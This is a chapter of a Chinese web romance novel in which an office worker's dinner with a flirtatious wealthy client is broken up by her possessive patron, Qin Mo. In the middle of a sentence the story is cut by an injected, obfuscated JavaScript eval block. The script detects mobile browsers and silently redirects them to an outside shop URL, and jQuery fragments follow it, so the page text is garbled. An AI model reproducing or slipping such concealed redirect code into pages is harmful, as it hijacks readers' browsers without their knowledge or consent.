王可可已经有段时间没回公司了。
自从秦墨让人把她的离职办了,又给她挂了个什么“特殊贡献员工”的名头之后,王可可对公司这个存在就产生了一种很复杂的情绪。她说不清自己算公司的员工,还是算公司的“关系户”。她甚至觉得,自己每次出现在公司大楼里,身后都有一堆不存在的目光在指指点点。可她又不能不去。因为经理打了三个电话过来,语气一次比一次焦急,最后一次几乎是在吼:“王可可!你那个岗位现在有点变化,你最好过来一趟,自己看看什么情况。总监要跟你面谈!”
王可可在电话这头听得云里雾里:“面谈?经理,我不是被开除了吗?”
经理在电话里沉默了两秒,然后压低声音说:“你走没走,现在公司里没人说得清。人事那边说你的档案被卡住了,解约流程一直没走完。上面也没催。我觉得,你最好自己过来看看。”王可可听完更蒙了。她“哦”了一声,说:“那我今天下午去。”经理说:“你最好穿正式点。总监今天心情不好。”王可可说:“我没有正式的衣服。”经理叹了好长一口气,说:“随便吧。你人来就行。”
挂了电话,王可可坐在衣帽间里,对着那两套“秦墨赏赐”的裙子发了好半天的呆。自从秦墨解除了她的门禁之后,她出门都穿自己的旧衣服,那两套裙子被冷落在衣柜最里面,已经好几天没被动过了。但今天要去见总监,她觉得自己得稍微体面一点。王可可犹豫了一阵,还是把手伸向了那套米白色的套裙。她换好衣服,在镜子前照了照,又把头发梳了梳,最后还用了点不知道什么牌子的护手霜,把干巴巴的手指涂得香喷喷的。她觉得自己已经尽力了,像要去参加家长会的女儿。
到了公司,王可可感受到了一种陌生的、隔着距离的关注。她从前在这里当小透明的时候,几乎没有人会多看她一眼。现在她走进市场部,至少有五个人同时抬头,目光像探照灯一样打在她身上。有人朝她笑了笑,笑得特别热情,像突然想起来她还有个身份似的。有人凑过来,小声问她:“王可可,你跟秦总熟吗?她是不是你表姐?”王可可一边往经理办公室走,一边说:“不是,我跟她……不熟。”她说“不熟”两个字的时候,自己都心虚。好几个人都露出了“你在逗我”的表情,但也没人再追问,因为经理已经在办公室门口朝她招手了。
经理这次的态度很微妙,既不像以前那样暴躁,也没有多热络。他给王可可倒了杯水,然后关上门,压低嗓子说:“你跟总监见面,就一个原则,别乱说话。总监可能想让你去跟一个客户对接。那个客户姓周,之前跟你那几个被小张接手的客户认识,点名要见你。”王可可张大嘴:“见我?为什么?”经理神色复杂:“人家说你‘亲和力强’。”王可可更蒙了:“就这?”经理说:“对。人家就是冲这个来的。总监高兴得不行,说终于有人能摆平那个周公子了。”王可可问:“周公子是谁?”经理说:“一个富二代,家里做建材连锁的,公司最近想拿他们的单子。之前去了三个人,都被他给轰走了。他不好伺候,但据说……就喜欢跟看着顺眼的人谈。”王可可指了指自己:“我这种算顺眼?”经理上下打量她:“你这种叫‘没有攻击性’。现在市场上最缺的就是你这款。”王可可不知该高兴还是该难过。
两个小时后,王可可在公司附近的商场餐厅里见到了周公子。周公子本名周润航,瘦高个,长得不差,只是从头到脚都透着一股“我很有钱但我不屑于显摆”的欠揍气质。他比王可可大了两岁,家里是做建材的,手底下有几个连锁商城。他今天穿了一件酒红色的polo衫,手腕上戴着一块看起来就很贵的表,说话时总喜欢把车钥匙放在桌上,转来转去地玩。王可可第一眼看见他,就觉得这个人像一只公孔雀。但公孔雀也是客户,而客户就是她王可可翻身的机会。于是她努力挤出一个甜得要命的笑容,说:“周总您好,我是L集团市场部的小王。”周润航上下扫了她一眼,忽然笑了:“小王?你还挺可爱的。”王可可的笑僵在脸上。她做市场部员工这么久,见过不少客户,但一上来就夸她可爱的,这是头一个。她干巴巴地“呵呵”了一声,说:“谢谢周总。”周润航把菜单推过来,说:“喜欢吃什么?随便点。”王可可心想,随便点?这种地方的随便点,她可能连菜单都看不懂。她翻了翻,果然满眼都是“黑松露”“和牛”“鹅肝”之类的字眼。她硬着头皮点了两个看起来最像正常食物的菜。周润航笑着说:“就这两个?你饭量不大啊。”王可可心想,我饭量大起来能吓死你。但她只是笑了笑,说:“够吃了。”
点完菜后,王可可试图把话题拉回业务上。她照着经理教她的,问了几个关于订单量、结算周期、供货需求的问题。周润航却明显心不在焉。他更多的时候都在看王可可的脸。王可可说到一半,他忽然打断她:“王可可,你单身吗?”王可可被水呛了一下,咳得满脸通红。周润航把纸巾递过来,说:“反应这么大?我就是随便问问。”王可可用纸巾擦了擦嘴,说:“周总,我们还是先谈订单的事吧。”周润航笑了一下,说:“订单的事好说。你陪我好好吃顿饭,我马上签单。”王可可听见这话,第一反应是自己耳朵出了问题。第二反应是:这人怎么比秦墨还不要脸。秦墨虽然霸道,但从来不会用这种方式“交易”。她抬起头,想从周润航脸上找出一点开玩笑的痕迹,结果对方一脸认真,像真的把“吃顿饭”当成了一件很值钱的事情。王可可心里有点不舒服。她放下筷子,正色道:“周总,我是来谈业务的。如果您觉得我只是个陪吃饭的,那这顿饭我吃不起。”说着她就想起身。周润航笑得更开心了,说:“你生气的样子更好看。行,不逗你了。谈业务就谈业务。不过单子我今天不会签,我得先跟你聊清楚你们公司的合作方式。这样吧,这顿饭算我的,你先陪我吃完。吃完饭,你要走我绝不拦。”王可可看着他那张始终带着笑的脸,心里那点不舒服并没有消散。但她又想,自己不能太敏感。也许这就是富二代的说话方式,他们觉得这样幽默。为了业绩,忍一忍,把饭吃完。于是她又坐了回去,重新拿起筷子。
饭吃到一半,王可可的手机响了。她看了一眼,是秦墨的电话。她的心突然咯噔了一下。她犹豫了几秒,还是挂掉了。她不想在客户面前接秦墨的电话,因为她怕自己一开口就露出那种“这人对我很重要”的语气。她把手机翻了个面,继续跟周润航说话。过了不到一分钟,秦墨又打来了。王可可又给挂了。第三次,秦墨发来一条微信。王可可斜眼瞄了一下,屏幕上只有三个字:“你在哪。”王可可没回。她觉得自己现在像在外面的猫被主人查岗,又心虚又气恼。她继续跟周润航聊天。但秦墨的微信又来了:“定位显示你在商城。和谁。”
王可可心一紧。她忘了秦墨在她手机里装了定位。不对,也许她早就知道。只是今天比较生气。她还没想好怎么回,手机第三次震动。这次只有两个字:“接电话。”王可可终于忍不了了。她抬头对周润航说:“我接个电话。”然后起身走到包间门外的走廊拐角,接起了电话。电话一接通,秦墨的声音就传了过来,语气像被冰镇过:“你在和谁吃饭。”王可可压低嗓子:“我在和客户吃饭。谈业务呢。你能不能别这个点查岗。”秦墨说:“什么客户。”王可可说:“就是普通客户,我们市场部新接的。”秦墨说:“男的女的。”王可可气结:“你查户口啊!”秦墨不说话。电话里安静得能听见她的呼吸声,一下一下,像暴风雨前的雷声。王可可有些慌了。她小声说:“我吃完饭就回去。真的,就业务饭。”秦墨终于开口了,声音轻而冷:“我二十分钟前打过电话给你经理。他说,你和一个姓周的人出去了。”王可可的脑子“嗡”了一声。她心想,经理害我。秦墨又说:“那个周先生,上个月在酒吧跟人打架上了新闻。你和他吃饭,就为了一个破订单?”王可可说:“我……我也不喜欢他。可我不能不去啊,经理说总监点名让我去。”秦墨说:“你可以不去。”王可可说:“我只是想靠自己签一个单子。我想证明给……给别人看。”她本来想说“证明给你看”,但话到嘴边又咽了回去。秦墨沉默了一会儿,说:“你现在回来。”王可可说:“不行,饭还没吃完。”秦墨说:“你在哪家餐厅。”王可可说:“你别来!”秦墨已经挂了电话。
王可可拿着手机,靠着墙,心跳像打鼓。她深呼吸了几次,把手机调成静音,重新走回包间。周润航正低头看手机,见她回来,笑问:“男朋友查岗啊?”王可可脸一红,说:“不是男朋友。”周润航“哦”了一声,拖长了调子:“那就是追求者。”王可可没接话。她坐回位子上,拿起杯子喝了口水,觉得这顿饭已经彻底变味了。周润航似乎也察觉到她的情绪,不再逗她,开始有一搭没一搭地说一些无关痛痒的话。王可可心不在焉地应付着,满脑子都是秦墨最后那一句“你在哪家餐厅”。她有一种很不好的预感。非常非常不好的预感。
果然,大约过了十分钟,包间门被推开了。
那一瞬间,王可可浑身汗毛都竖起来了。她还来不及回头,先看到的是周润航表情的变化。周公子手里的筷子“啪”地掉在了桌上,脸上那种轻佻的笑意像被一阵狂风卷走了,只剩下无法掩饰的惊愕和慌张。王可可慢慢转过头。秦墨就站在门口,穿了一件深灰色的羊绒大衣,里面是黑色高领衫。金丝边眼镜在餐厅暖黄色的灯光下折出两片极亮的光斑,像雪地里反射的月光。她的脸色很白,白得极冷,像从冰窖里刚走出来。身后跟着两个黑衣人,但都很识趣地退在门外的两侧,像两尊沉默的石像。
包间里的空气瞬间凝固了。王可可张了张嘴,发不出声音。秦墨的声音不大,但每个字都像冰锥一样钉进包间里:“王可可,你在这里做什么?”
王可可从椅子上站起来,膝盖磕到了桌腿,疼得她眼泪差点出来。她结结巴巴地说:“我、我在谈业务……”秦墨扫了一眼对面的周公子。那目光轻飘飘的,像在看一件不值得费心的东西。周润航被这道目光扫过,脸色肉眼可见地白了三分。他下意识地往后缩了缩,手指不知所措地抓着自己的手机。王可可看见他那个怂样,心里居然生出了几分“活该”的快意。但紧接着,她就意识到自己现在的处境,可能并不比周润航好多少。
“谈业务?”秦墨走进来,反手把包间门带上。那动作很轻,但王可可觉得,像把猎物的后路切断了。“什么业务需要你亲自陪吃饭?”
她的目光从桌上的菜扫到王可可脸上,最后落在那瓶已经开封的红酒上。王可可赶紧说:“我没有喝酒!我喝的是水!”秦墨没理她。她走到王可可身边,微微俯身。王可可仰起头,看着秦墨的脸越来越近。秦墨的呼吸喷在她耳侧,又轻又凉,像冬夜的寒气贴上皮肉。她的嘴唇几乎碰到了王可可的耳垂,声音压得极低,像只说给她一个人听:
“你是不是忘了,你是谁的人。”
王可可的耳朵像被点了一把火。那火从耳垂开始,一路烧到脸颊,烧到后颈,烧到心口。她整个人都僵住了,像被那七个字给定在了椅子上。她张大了眼睛,看着秦墨直起身来,目光仍然落在她脸上,像是要在她眼睛里找什么答案。王可可的脑子已经无法思考了。她只听见自己的心跳声,像有人在她的耳膜里擂鼓。她看见秦墨朝她伸出一只手。
“走。”秦墨说。只有一个字,却带着让人无法违抗的力度。
王可可像被牵了魂一样,把手放进秦墨掌心里。秦墨的手指收拢,扣住她的手,力度不轻不重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920385|213443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,却让王可可觉得,自己像是被一条温柔的锁链铐住了。她跟着秦墨朝门口走。经过周润航身边时,秦墨停了一下。她没有看周润航,只是朝旁边微微侧了侧脸,说:“以后L集团的单子,不劳周总费心。”周润航坐在那里,嘴唇动了动,没发出声音。他大概这辈子都没被人这样压过。王可可看了他一眼,忽然有点同情他。但她很快就把目光收了回来,因为秦墨已经拉着她走出了包间。
走廊里铺着深红色的地毯,王可可几乎是小跑着才跟得上秦墨的步子。两个黑衣人跟在她们身后,不近不远。餐厅里的客人不多,但经过的人都朝她们投来或好奇或惊讶的目光。王可可被秦墨拽着手腕,在众目睽睽之下穿过大堂,出了餐厅,往电梯方向走。她小声说:“秦墨,你慢点,我脚要崴了。”秦墨没说话,但步子确实放慢了一点。她们进了电梯,门关上之后,秦墨松开了王可可的手。王可可以为她要骂自己,做好了挨训的准备。但秦墨只是站在她旁边,脸色冷得像大理石,眼睛直视着前方。电梯里的空间又小又静,空气像被抽掉了一半。王可可站在原地,连呼吸都放得小心翼翼。
到了地下车库,秦墨拉开副驾驶的门,示意她上去。王可可乖乖坐进去,自觉地系好安全带。秦墨绕到驾驶座,发动了车子。发动机在封闭的车库里发出一声低吼,像某种被压抑太久的情绪。车子驶出车库,汇入夜晚的车流。秦墨的车速很快,快得王可可不得不抓住门上的把手。她的手指因为用力而发白,眼睛死死地盯着前方的路面。车窗外的霓虹灯在视野里连成一条条彩色的线,像被撕碎的光。秦墨一句话都没说。她开得很专注,也很用力,像要把什么情绪都踩进油门里。
王可可侧过头,偷偷看她。秦墨的侧脸在明明灭灭的光影里冷得惊人。她的下颌线绷得很紧,嘴角抿成一条直线,握着方向盘的手因为用力而指节泛白。王可可从没见过秦墨这样。她见过秦墨冷,见过秦墨淡,见过秦墨在深夜里一个人坐在沙发上疲惫不堪。可她没见过秦墨生气。这种生气不是那种大吵大闹的怒,而是一种很深的、很沉的、从骨头缝里往外渗的冷。王可可不傻,她当然知道,秦墨会出现在那个包间里,不只是因为“查岗”。那是一种被冒犯的怒意,一种“我的人,怎么可以去陪别人吃饭”的占有。可她想不明白,自己什么时候成了“她的人”了。她看着秦墨紧绷的侧脸,脑子里不受控制地开始循环播放那句话。
“你是谁的人。”
我是她的人吗?我是吗?
王可可被这个问题搅得心乱如麻。她很想开口问一句“你刚才那句话什么意思”,可车内压抑的气氛让她一个字都吐不出来。她怕自己一出声,秦墨就会更生气。又或者,更可怕的,秦墨会不生气,只是很平静地说一句“没什么意思”。那就真的完了。王可可觉得,自己现在像坐在一条不知会开向哪里的小船上,秦墨是那个掌着舵却一句话都不说的人。她只能等着,等着船靠岸,或者等着被丢下海。
车子在夜色中疾驰了不知多久,终于拐进了那条熟悉的山路。车灯扫过路旁的香樟树,把一排排树影投在车窗上。王可可看见那些树影飞快地向后退,像一群沉默的哨兵。她突然觉得很累。这一天的情绪起伏太大,像坐了一趟看不见尽头的过山车。她的后背已经被汗浸透了,手心也是凉的。她靠在座椅里,偏过头,把额头抵在车窗上。冰凉的玻璃贴着她的太阳穴,让她稍微清醒了一点。她闭上眼睛,又想起了那句话。秦墨的手、秦墨的声音、秦墨推开门的那一瞬。她的心口像被什么东西狠狠撞了一下。她突然意识到,自己在害怕。不是怕秦墨生气,而是怕秦墨不问不理,怕她这样冷着自己。比起被骂,被冷,被丢下,她更受不了的是秦墨的沉默。她太清楚这种沉默是什么了。秦墨以前对她所有的“冷”,其实都是“克制”。而今晚,秦墨的克制正在土崩瓦解。
车子驶进别墅大门,稳稳地停在门廊前。秦墨熄了火,拔下钥匙。她没有马上下车,只是坐在那里,双手还搭在方向盘上。王可可也坐在那里,没动。不知道过了多久,秦墨说:“下车。”她的声音已经不那么冷了,但也没什么温度。王可可解了安全带,打开车门,腿有些发软。秦墨也从另一边下来,摔门的声音在夜里显得特别响。王可可吓得一抖,像一只被惊到的兔子。秦墨没管她,径直朝屋里走。王可可跟在后面,小跑了两步,又停了下来。她站在门廊的灯下,看着秦墨的背影。那个背影又直又薄,像一把收在鞘里的刀。王可可忽然想,她以后不想再看到秦墨把背对着自己走了。她希望秦墨能转过来,哪怕生气地看着她,哪怕继续逼问她,也总比这样好。
但她什么都没说。她只是站在那里,等着秦墨走远。风从山上吹下来,把她额前的碎发吹得乱七八糟。她突然就红了眼眶。可她没有让眼泪掉下来。她吸了吸鼻子,仰起头,把那些不争气的水光忍了回去。因为她想起了秦墨在餐厅里看她时的眼神。那眼神很冷,可深处藏着一簇火。那火不是为了烧她,是为了把她从别人那里拽回来。王可可忽然就懂了。她低头看着自己的手,手腕上还留着秦墨握过的触感。她慢慢把手掌贴在自己心口上,很小声地、像在对着空气说:“我好像,是她的人。”说完之后,她自己先愣住了。她站在那里,被这句话击中了一般,久久没有动。
夜风轻缓,卷着桂花的残香从墙外吹进来。王可可站在灯下,像一幅被定格在夜色里的画。她的影子被拉得很长,一直延伸到大门的方向。她知道秦墨还没走远。她甚至觉得,秦墨也许就站在门内的阴影里,背对着门,等她进去。她迈开步子,朝门里走去。这一步,和之前的每一步都不一样。以前是秦墨拽着她走,今天她突然觉得,自己是愿意走的。而且,是朝秦墨走。